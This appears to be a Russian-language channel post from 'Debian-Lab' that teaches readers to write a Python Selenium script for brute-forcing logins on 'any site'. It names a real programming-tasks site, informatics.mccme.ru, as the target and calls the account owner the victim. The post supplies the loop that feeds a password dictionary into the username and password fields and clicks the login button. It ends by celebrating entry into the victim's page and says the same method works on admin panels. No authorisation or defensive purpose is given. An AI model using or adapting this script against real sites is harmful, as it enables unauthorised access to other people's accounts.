Пишем собственную утилиту для брутфорса

Пишем собственную утилиту для брутфорса

Debian-Lab
Здравствуйте дорогие читатели Debian-Lab, сегодня мы вместе с Вами напишем собственную утилиту для атаки типа bruteforce на любой сайт)

Подготовка:

Писать мы будем нашу утилиту с помощью модуля python3 - Selenium.

Для этого нам вначале потребуется установить данный модуль с помощью менеджера пакетов pip:

pip install selenium

Для работы модуля Selenium нам также потребуется установить WebDriver:

Если у Вас Firefox переходим на официальный репозиторий на Github и устанавливаем последнюю версию geckodriver под Ваш Linux, после установки выполните следующие команды в командной строке:

chmod +x geckodriver
sudo mv -f geckodriver /usr/local/share/geckodriver
sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriversudo
ln -s /usr/local/share/geckodriver /usr/bin/geckodriver

Для начала - узнаем свою версию Chrome перейдя по ссылке chrome://settings/help и запоминаем ее.

После, переходим уже по другой ссылке, где и скачиваем WebDriver под Вашу версию Chrome. Затем, распаковываем файл "chromedriver.exe" в папку с проектом.

Пишем код:

На этот раз я решил написать утилиту для брутфорса сайта https://informatics.mccme.ru, где выкладывают различные задачи по программированию. (Символично, не правда ли? 😁)

Для начала подключим модуль:

from selenium import webdriver

После, создадим переменную от которой и будем дальше отталкиваться:

browser = webdriver.Firefox()
browser = webdriver.Chrome("Путь до chromedriver.exe")

Теперь сделаем так, чтобы сайт открывался в браузере:

browser.get("Ссылка на страницу авторизации") # Страница авторизации

Следом, переходим на сайт который у нас будет жертвой, и узнаем id идентификаторы текстовых полей input и кнопки "Войти"

Данные идентификаторы можно узнать выбрав нужный нам элемент и нажав ПКМ + Исследовать Элемент

Как видим, в первом текстовом поле id = username, во втором id = password, а id кнопки "Войти" = loginbtn

Запоминаем данные идентификаторы и идем дальше:

Создаем .txt файл в котором будут храниться все пароли:

Например я назову его "passwords.txt", это некий "словарь" в котором будут храниться пароли построчно.

После создания файла, открываем его и читаем его содержимое:

f = open("passwords.txt")
data = f.readlines()

Теперь переходим к самому интересному, реализации брутфорса:

for i in data: # Берем каждый пароль
i = i.replace("\n", "") # Заменяем символ переноса строки
browser.find_element_by_css_selector("#username").send_keys("Логин")
# Находим текстовое поле куда нужно вводить логин и заполняем его логином пользователя
browser.find_element_by_css_selector("#password").send_keys(i)
# Находим текстовое поле куда нужно вводить пароль и заполняем его нашим паролем
browser.find_element_by_css_selector("#loginbtn").click()
# Находим кнопку "Войти" и нажимаем ее

Запускаем..... Видим как браузер открывает информатикс и после успешного перебора - мы в страничке жертвы!😉


Поздравляю Вас! Сегодня Вы написали простейший скрипт на python3 с помощью которого можно брутфорсить сайты и админ-панели🎨

⏳ Наш основной канал - @debian_lab

Report Page